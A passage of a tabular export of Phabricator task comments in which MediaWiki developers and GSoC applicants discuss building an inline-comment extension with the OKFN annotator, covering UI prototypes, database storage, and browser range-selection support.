+Someone may have made a RESTful wrapper of a MW API, or have advice on doing so.  It's probably also worth looking at the hooks (https://www.mediawiki.org/wiki/Manual:Hooks)",,,1369893630,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-5,,1,1,0,1,0,1,1,0,1,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,1,0
+228190,Implement inline comment support using OKFN annotator,"**ganeshaditya1** wrote:
+
+(In reply to comment #30)
+going by the description, it perfectly fits the bill! I mean it has all the methods of firefox available in IE. But the documentation is really very poor man. Its going to take me a while to make heads and tails of this :(",,,1369104663,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-6,,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+228184,Implement inline comment support using OKFN annotator,"(In reply to comment #29)
+> going a little off topic here, I think internet explorer cannot be supported
+> in any efficient way, cause of the way text ranges are implemented in it. 
+> 
+> Both ofkn and pundit are not supported in IE. I ve been going through the
+> code of OFKN for a while now and this dawned upon me just now.
+
+In the VisualEditor project we have similar needs for cross-browser range selection and manipulation, and we have used the Rangy library - https://code.google.com/p/rangy/ - which has worked out well for us. Not sure if this is helpful for you?",,,1369060957,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-6,,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1
+228176,Implement inline comment support using OKFN annotator,"**ganeshaditya1** wrote:
+
+going a little off topic here, I think internet explorer cannot be supported in any efficient way, cause of the way text ranges are implemented in it. 
+
+Both ofkn and pundit are not supported in IE. I ve been going through the code of OFKN for a while now and this dawned upon me just now.",,,1369002502,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-7,,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+228167,Implement inline comment support using OKFN annotator,"Another tool for inspiration? http://www.thepund.it/
+
+Java backend but ""The Pundit client is a Javascript application based on the Dojo Toolkit http://dojotoolkit.org/ . It works closely with the Pundit server API, allowing the end-user to annotate any kind of web contents.""
+
+Apparently related with Europeana and funded by the EU. Sounds like open source but after a very few clicks couldn't find sources (busy day etc).",,,1367946207,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-8,,1,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1
+228161,Implement inline comment support using OKFN annotator,Just a note to say that Anthony Chen has submitted a GSoC proposal related to this project: https://www.mediawiki.org/wiki/User:N3c/GSoC_Proposal,,,1367618047,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+228155,Implement inline comment support using OKFN annotator,"**ganeshaditya1** wrote:
+
+I seem to have butt into the conversation .. I didn't read the comments yet. 
+Apologizes .. 
+
+Anyways keeping with the conversation, since you guys are discussing interfaces, please checkout my prototype
+
+http://adityasastry.in.cp-2.webhostbox.net/index.php?title=Special:BlankPage
+
+Instead of the in-page along with article display, I would propose a movable popout as the readability might suffer when you try to squeeze in the comments interface into the article.",,,1367180341,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+228151,Implement inline comment support using OKFN annotator,"(In reply to comment #23)
+> Hey,
+> My name is Aditya and am interested in pursuing this as my GSOC project.
+
+Thank you for your interest.
+
+> Implementing this for some other theme is very easy. We just need to add a
+> DIV in the theme's php file.
+
+Note that this is being proposed as an extension.  Thus, you should not need to modify the core skin definition.",,,1367162727,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-10,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+228146,Implement inline comment support using OKFN annotator,"**ganeshaditya1** wrote:
+
+
+2)Databases
+Allow me to make a very bold statement here that  json/xml are ill suited for a project of this nature.
+Justification:
+1) There are many helper classes already written for MediaWiki like sanitizer class(which depends on the databases) load balancer class(Incase one wants to distribute the comments data) and few other classes which implement functionality which is critically needed. Incase one wants to go the XML/JSON way one needs to implement them as well.
+
+2) Maintenance will become an issue.
+
+3)When migrating between hosts one needs to manually select the xml/json files and move them around. MYSQL supports one click export and import functionality for all the tables.
+
+I will be making a prototype for databases as well in a couple of days.
+And here's my idea. Each article is stored as a WikiText string, so as illustrated by my UI the selected text's starting and ending indexes are caught and the article page name is also caught. These three attributes will be used as indexes into a table ""Comments"" 
+
+When parsing this wikitext, based on the starting and ending indexes the text will be marked and a link will be provided next to it to access the comments as I have shown.
+
+I will be implementing this functionality by tuesday. But for the sake of proposal I will be not using any of the MediaWiki classes for now so you people could test drive it once and based on your feedback I will be making ammendments to my proposal, so please review my work so far :)",,,1367141303,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-10,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+228141,Implement inline comment support using OKFN annotator,"**ganeshaditya1** wrote:
+
+Hey,
+My name is Aditya and am interested in pursuing this as my GSOC project.
+
+After going through the requirements, leaving apart any additional features required. I have outlined two major aspects of this project.
+
+1) Designing the UI.
+2) Designing the database.
+
+I just want to present my perspective on these two things before I start drafting my proposal. I want to hear your opinion on this.
+
+1)UI
+When it comes to designing the UI. I think it will be better if we go with a custom build rather than using a ready-made component, cause MediaWiki uses themes and each component should match the theme and a ready made component leaves very little margin for customization ( in-case its a opensource component, then it might as well be modified, but the person designing the theme need to be not only versed with the code of the MediaWiki but as well as the source code of the component, hence I believe a ready made component would constrain the customizability of MediaWiki.
+
+http://adityasastry.in.cp-2.webhostbox.net/index.php?title=Special:BlankPage
+This is a UI mockup I came up with. Its a prototype for a prototype :P I have made an implementation of this for VECTOR theme, but I have placed the CSS and JS for this in the common skins shared.css and the JS in vector.js as of for now.
+Implementing this for some other theme is very easy. We just need to add a DIV in the theme's php file.",,,1367140627,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-10,,1,0,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+228139,Implement inline comment support using OKFN annotator,"Just a note to say that Richa Jain has submitted a GSoC / OPW proposal related to this report:
+
+https://www.mediawiki.org/wiki/User:Rjain/Proposal-Prototyping-inline-comments
+
+There is another student that has submitted a proposal. I will announce it here as soon as there is a public URL.",,,1366901402,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+228138,Implement inline comment support using OKFN annotator,"Slightly related: http://homes.cs.washington.edu/~travis/reflect/
+
+With old MediaWiki extension code available: http://www.mediawiki.org/wiki/Extension:Reflect
+
+Depends on LiquidThreads, so I don't expect many possibilities of reuse as-is but perhaps you want to have a look.",,,1366507980,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-11,,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+228136,Implement inline comment support using OKFN annotator,"(In reply to comment #19)
+> http://okfnlabs.org/annotator/ is maybe (with some adaptations) a relevant
+> option.
+
+Also http://hypothes.is (they seem to build on top of okf's annotator: https://github.com/hypothesis/h#development)",,,1365784493,,PHID-USER-uazrhtptdqudzoqfefsc,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-12,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+228134,Implement inline comment support using OKFN annotator,http://okfnlabs.org/annotator/ is maybe (with some adaptations) a relevant option.,,,1365528421,,PHID-USER-5paybpgtxjrhikdos3p5,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-12,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+228131,Implement inline comment support using OKFN annotator,"This is the end result we are after:
+
+Wikipages optionally looking like this (famous examples picked for reference only):
+
+http://gplv3.fsf.org/comments/lgpl-draft-1.html (few comments)
+
+http://gplv3.fsf.org/comments/gplv3-draft-2.html (really busy)
+
+
+That view would include the possibility to add comments. There is a sandbox to play without registration at
+
+http://www.co-ment.com/see/
+
+And a lite version at https://lite.co-ment.com/
+
+
+PS: group permissions to be taken into account? Maybe not in a prototype for a GSOC student but I can imagine that the same levels of protection (open, registered users, autoconfirmed...) would be desired. For Wikimedia wikis I would require login, a nice reason to register. But this is going too far...  :)
+
+Also, spam check? Posting external URLs possible or not? Well, this can be endless and again we should define the scope for a GSOC prototype.",,,1364319150,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-14,,1,0,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+228127,Implement inline comment support using OKFN annotator,"From where I'm coming from, it has nothing to do with the first option (HTML comments/warnings to editors).
+
+It is meant as a collaboration tool, essentially your second option.  I don't see it as a replacement for long free-form discussion (""this article needs more reliable sources...""/""it has an undue weight is the following areas""...), but a targeted form of collaboration around small areas of the article, like co-ment.
+
+I agree a first pass (on MediaWiki.org, etc.) would be useful regardless, even if not all the code could necessarily be integrated into the permanent solution.  It would allow trying out implementations and UI ideas.
+
+I agree it would probably have to be one interface at first (and maybe ever), and VisualEditor/Parsoid probably makes more sense.
+
+There would probably have to be limited threading, but flat (these people commented on this excerpt in this chronological order) would probably be sufficient.  If it gets too elaborate, talk it to the talk page/Flow.
+
+To keep it concise, I would suggest just the username and date (perhaps auto-formatted to e.g. ""3 hours ago"" for recent comments), rather than a signature.  I suggest it should show IPs for anons.
+
+I'm not envisioning using LQT, since it seems like if we want to integrate at some point, Flow would be a better candidate.
+
+It would be most useful attached to pages, automatically invalidating a comment when an excerpt is altered.  But ""attached to revision"" is probably more realistic for the first implementation.",,,1364318830,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-14,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+228123,Implement inline comment support using OKFN annotator,"So, to my mind there are two options here, and I can't quite understand which is being discussed (it appears both):
+
+* Is this about surfacing to the editors in some nice way post-VisualEditor roll-out the existing comments for editors - I.e. ""<!-- PLEASE DO NOT CHANGE OBAMA'S NAME -->"" at the top of the Barack Obama article on enwiki? If so, great, and this should probably be moved to the VisualEditor product space. This is definitely needed for VE, but I worry that the scope for functionality is not huge, and it might be limiting.
+
+* Is this about building an additional persistent/semi-persistent un-threaded/semi-threaded discussion space on top of pages/revisions(?) like Co-ment and Google Docs? If so, that sounds fun, and something that we're also looking at building for VisualEditor (as part of the real-time collaboration system, potentially), but I wouldn't want us to get in the way of someone building a first pass for GSoC. Doing this for both VE and wikitext at the same would be a really hard UI challenge (they're very different interface concepts), so perhaps limiting it to just one of them for now? Also, there needs to be a really serious discussion about how this would work from a product perspective (threading? how much? how signed? using LQT? why not? where stored? attached to revisions? To pages? to sections of said revision/page? how? etc.) lest it become mammoth. OTOH, this would be very cool as well.
+
+Apologies for the confusion on my part. :-)",,,1364317551,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-14,,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+228118,Implement inline comment support using OKFN annotator,"I've linked this bug from https://www.mediawiki.org/w/index.php?title=Feature_map&diff=663816&oldid=566850 where the FSF feature was reported.
+
+(In reply to comment #11)
+> Are all annotations willing the be seen publicly by default? We won't go for
+> private annotations, but maybe people want to have notes-to-self? Like ToDo
+> post-its for editors, or notes for students preparing their school work.
+
+Looks outside the scope of the request. It's indeed the sort of thing the word ""annotation"" is usually used for, so let's not call this proposal ""annotations"" maybe?",,,1364283676,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-14,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,1
+228111,Implement inline comment support using OKFN annotator,"More context:
+
+Commons has annotations in images:
+http://commons.wikimedia.org/wiki/Commons:Image_annotations
+
+Munaf mentioned annotations at
+http://www.mediawiki.org/wiki/Micro_Design_Improvements#Annotations",,,1364279754,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-14,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+228102,Implement inline comment support using OKFN annotator,"James Forrester has indicated that this may be within the scope of VisualEditor, and that he would be receptive to the feature being implemented as part of GSOC.  I've CCed him.",,,1364277673,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-14,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+228095,Implement inline comment support using OKFN annotator,"To follow up, I have decided to act as mentor should the project be selected.
+
+I think annotation is a valid term, although comment is also commonly used (e.g. LibreOffice, Google Docs).  co-ment seems to use both terms.
+
+There should probably be some kind of permalink that shows the comment, but initially that might just be a link to the revision (especially if comments aren't preserved on edit in the first implementation).
+
+I don't think they should be shown to readers by default.  It would have to be a toggle of some kind.  It would be nice to make this available in VisualEditor mode (either just that, or both).
+
+The notes to self idea needs further thought.  I see the primary use of the extension as collaborative work, but then again people do use userpage for drafts too.
+
+If this project moves forward, we may want to continue speccing it out on mediawiki.org.",,,1364276995,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-14,,1,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,0,1,0,0,1,0,1,1,1,1,1,0,1,0,1,1,1,0,1,1,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+228089,Implement inline comment support using OKFN annotator,"A bit of context and braindumping:
+
+http://openannotation.org/
+http://www.openannotation.org/wiki/index.php/Web_Page_Clients_List
+
+Maybe ""annotations"" is the label we are looking for? Wikipedia articles are not scholarship texts, and inline comments won't be scholrship annotations. Then again... aren't they structurally the same? Point to a specific portion of text and connect a comment, a signature, a timestamp, maybe a link.
+
+Another aspect is My Annotations, as part of My Contributions.
+
+I guess annotations will need a unique deeplink? 
+
+And do we get those annotations by default, or should users activate an ""Annotated view""? Maybe the latter, it looks like too much extra bytes and clutter for the majority of people interested in the first paragraph and some factoids.
+
+Bonus:
+Are all annotations willing the be seen publicly by default? We won't go for private annotations, but maybe people want to have notes-to-self? Like ToDo post-its for editors, or notes for students preparing their school work. Those would be as public as our User pages: public for those knowing where to look but out of default searches / views.",,,1364271952,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-14,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0
+228084,Implement inline comment support using OKFN annotator,"This feature request is being considered for 
+
+https://www.mediawiki.org/wiki/Summer_of_Code_2013#Project_ideas
+
+Question: is there a potential mentor willing to help potential students interested in this project?",,,1364081939,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-15,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0
+228079,Implement inline comment support using OKFN annotator,This sounds much more like a separate extension than an enhancement to ArticleFeedback.,,,1363987812,,PHID-USER-a5pveeqqwaddgfjiv2fq,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-15,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0
+228075,Implement inline comment support using OKFN annotator,"Such articles tend to be protected on some level, though, and the same reasons would probably have to apply to this as well.",,,1363911693,,PHID-USER-nv2bu7uh3huvidyjo4lk,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-15,,1,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+228072,Implement inline comment support using OKFN annotator,"(In reply to comment #4)
+> But why would that many people be commenting on the same thing?
+
+Think of a controversial article that asserted a true, verifiable, but controversial fact.  It would probably perennially attract comments to the sentence stating the fact.  So at the very least there would have to be easy filtering/mark as resolved/mark as rejected.
+
+I agree it doesn't *have* to be Wikipedia-scalable, but it's certainly far more useful if it is.
+
+Note, implementers should also consider looking at the co-ment code.",,,1363911476,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-15,,1,0,1,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,1,1
+228068,Implement inline comment support using OKFN annotator,"Right, I guess my point was just that wikipedia is not as extreme as folks often make out, sorry. If the thing is well-engineered and scales properly it should work for everyone, which would be perfect.",,,1363910784,,PHID-USER-nv2bu7uh3huvidyjo4lk,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-15,,0,1,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+228065,Implement inline comment support using OKFN annotator,"If it's not the problem, all the better. I'm just saying that we shouldn't hamper this potential GSOC project with Wikipedia-centric issues if they are not issues for the 98% of MediaWikis out there.",,,1363910387,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-15,,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+228061,Implement inline comment support using OKFN annotator,"(In reply to comment #3)
+> Then again it is not a trivial project at all. If we propose this we should
+> put
+> apart key aspects of Wikipedia like 5.000 editors commented on the same
+> sentence, performance issues, scalability... Perhaps the project could
+> consist
+> in recycling as much stet code as possible and plug it to a MediaWiki
+> backend.
+
+But why would that many people be commenting on the same thing? There are only so many parts of an article worth commenting on, and only so many points to be made, and a flat out discussion would belong on a talkpage (or equivalent), not in the comments themselves.
+
+As it is people tend to distribute what they work on and edit. Yes, many, many people edit wikipedia and such, and a lot of people may edit the same article, but it doesn't happen all at once. Comments, even if they do span multiple revisions, will only span so many before they cease to apply.
+
+Just look at gerrit as a tiny example - plenty of folks comment on plenty of things, but I've rarely seen more than one or two people comment inline on any one patchset. It's only useful for so many things, and once someone made a point there's no use making it again.",,,1363909988,,PHID-USER-nv2bu7uh3huvidyjo4lk,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-15,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1
+228056,Implement inline comment support using OKFN annotator,"Regadless of Wikipedia & Wikimedia plans, this looks like an extension that would be useful and welcomed in other MediaWikis out there. Well, I know that in the GPLv3 drafting times I really wanted to have that in the MediaWiki based project we were running...
+
+Then again it is not a trivial project at all. If we propose this we should put apart key aspects of Wikipedia like 5.000 editors commented on the same sentence, performance issues, scalability... Perhaps the project could consist in recycling as much stet code as possible and plug it to a MediaWiki backend.",,,1363909447,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-15,,1,0,0,0,1,1,1,0,0,1,1,0,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+228050,Implement inline comment support using OKFN annotator,"See http://lists.wikimedia.org/pipermail/ee/2013-March/000263.html (beginning of thread), in particular http://lists.wikimedia.org/pipermail/ee/2013-March/000276.html (about some of the UI/UX challenges).
+
+The AFT team is not planning on implementing this, at least for the time being.
+
